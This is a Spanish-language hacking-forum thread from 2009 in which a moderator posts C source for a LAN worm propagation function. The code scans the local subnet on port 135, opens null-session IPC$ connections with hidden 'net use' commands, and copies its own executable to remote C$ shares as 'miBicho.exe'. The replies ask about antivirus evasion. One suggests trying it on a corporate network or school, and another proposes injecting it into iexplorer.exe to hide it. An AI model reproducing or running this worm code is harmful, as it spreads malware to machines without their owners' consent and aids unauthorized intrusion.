elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 18:44  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  [SRC][C] Conección NetBios
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC][C] Conección NetBios  (Leído 2,347 veces)
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.059


CALL DWORD PTR DS:[0]


Ver Perfil WWW
[SRC][C] Conección NetBios
« en: 21 Junio 2009, 22:41 »

Bueno, algo obsoleto que ya no da sus mejores resultados pero que me sirvió para practicar y aprender ;D. No llegué a testearla por problemas personales con el router ¬¬', pero supongo que funciona  ;D.

Código
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función de propagación Usando NetBios
////////////////////////////////////////////////////////////////
 
 
void InfectLAN()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
 
//Obtenemos nuestra ruta
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
 
WSADATA WSD;
SOCKET hSocket;
struct hostent *lpHost=NULL;
struct in_addr addr;
struct sockaddr_in saddr;
 
WSAStartup(MAKEWORD(2,2),&WSD);
hSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 
//Obtenemos nuestra ip local
LPSTR lpHostName=(LPSTR)GlobalAlloc(GPTR,256);
gethostname(lpHostName,256);
lpHost=gethostbyname(lpHostName);
addr.s_addr = *(u_long *)lpHost->h_addr_list[0];
LPSTR lpLocalIP=inet_ntoa(addr);
 
DWORD lenLocalIP=lstrlen(lpLocalIP);
 
//Obtenemos la puerta de enlace de la ip local, Ej: '192.168.1.'
for(DWORD i=0;lpLocalIP[lenLocalIP-i]!='.';i++)
{
lpLocalIP[lenLocalIP-i]=0;
}
 
//Vamos recorriendo todas las ip's posibles con la puerta de elnace obtenida '192.168.1.X'
//i=33-> Cambiar por 0 en caso de que se desee, la mayoría de routers tienen .33 como primera dirección
for(i=33;i<=255;i++)
{
LPSTR RemoteLocalIP=(LPSTR)GlobalAlloc(GPTR,16);
CHAR LastIpNumber[3];
 
wsprintf(LastIpNumber,"%d",i);;
 
lstrcat(RemoteLocalIP,lpLocalIP);
lstrcat(RemoteLocalIP,LastIpNumber);
 
lpHost=gethostbyname(RemoteLocalIP);
 
//Preparamos la estructura para conectar
saddr.sin_family=AF_INET;
saddr.sin_port=htons(135);
saddr.sin_addr = *((struct in_addr *)lpHost->h_addr);
RtlZeroMemory(&saddr.sin_zero,8);
 
//Comprobamos si se logra la conexión
if(connect(hSocket,(sockaddr*)&saddr,sizeof(sockaddr))!=-1)
{
//net use \\192.168.1.34\ipc$ "" /user:""
LPSTR Comando=(LPSTR)GlobalAlloc(GPTR,MAX_PATH*2);
lstrcat(Comando,"net use \\\\");
lstrcat(Comando,lpHost->h_name);
lstrcat(Comando,"\\ipc$ \"\" /user:\"\"");
WinExec(Comando,SW_HIDE);
 
RtlZeroMemory(&Comando[0],MAX_PATH*2);
 
//copy AppName "\\192.168.1.34\c$\miBicho.exe"
lstrcat(Comando,"copy \"");
lstrcat(Comando,AppName);
lstrcat(Comando,"\" \"\\\\");
lstrcat(Comando,lpHost->h_name);
lstrcat(Comando,"\\c$\\miBicho.exe");
WinExec(Comando,SW_HIDE);
 
GlobalFree(Comando);
}
 
GlobalFree(RemoteLocalIP);
GlobalFree(LastIpNumber);
}
}
 
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: [SRC][C] Conección NetBios
« Respuesta #1 en: 5 Septiembre 2009, 01:46 »

Saludos se que me van a pegar  :-( pero este code me parece interesante quisiera saber si todavia es factible implementar este metodo en un programa  :) Es decir si los AV no lo bloquean o el programa no termina abruptamente al ejecutar este modulo ?




« Última modificación: 5 Septiembre 2009, 02:22 por Jaixxon Jax » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][C] Conección NetBios
« Respuesta #2 en: 5 Septiembre 2009, 11:37 »

Saludos se que me van a pegar  :-( pero este code me parece interesante quisiera saber si todavia es factible implementar este metodo en un programa  :) Es decir si los AV no lo bloquean o el programa no termina abruptamente al ejecutar este modulo ?
Los AntiVirus no le impidiran conectarse por NB... pero seguramente los FireWalls si...

Actualmente es muy raro ver este tipo de fallos... Ya que (si no me equivoco) viene desactivado a partir de W$ XP SP2....

Pero bueno.. puedes probarlo en alguna red corporativa (o un Instituto :rolleyes:) :xD

Saludos!
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: [SRC][C] Conección NetBios
« Respuesta #3 en: 5 Septiembre 2009, 15:19 »

 ;D

  Se me ocurrio Inyectar este code en iexplorer.exe o en algun otro proceso que utilize sockets  :silbar: asi si pasa algo malo, le pasara al proceso inyectado  :¬¬  :rolleyes: Y tambien googleare un poco ha ver que tengo que hacer para que funcione en XP sp3 seguro que modificando algo en el registro funsionara sin problemas  :laugh: .



  Saludos.
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Hole_System

Desconectado Desconectado

Mensajes: 239


Ver Perfil
Re: [SRC][C] Conección NetBios
« Respuesta #4 en: 5 Septiembre 2009, 19:24 »

Muy bueno hace tiempo vi este tema fue hecho por Mad... y estaba excelente yo lo retome personal pero no lo llegue a publicar con algunas mejoras en el sentido de que como bien dicen aqui ya esta falla es muy poco probable, pero lo que queria agregarle era que listara todas las carpetas compartidas y teniendo permiso de escritura se copiara el "bicho".... pero los codigos que encuentro nada mas trabajan usando los nombre de los HOST o sea tengo que ponerle el nombre del pc remoto "juanpc", y eso no cuadra en todas las redes por eso lo queria hacer por ip pero no aparece nada...

salu2
En línea

By Pitoniso.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines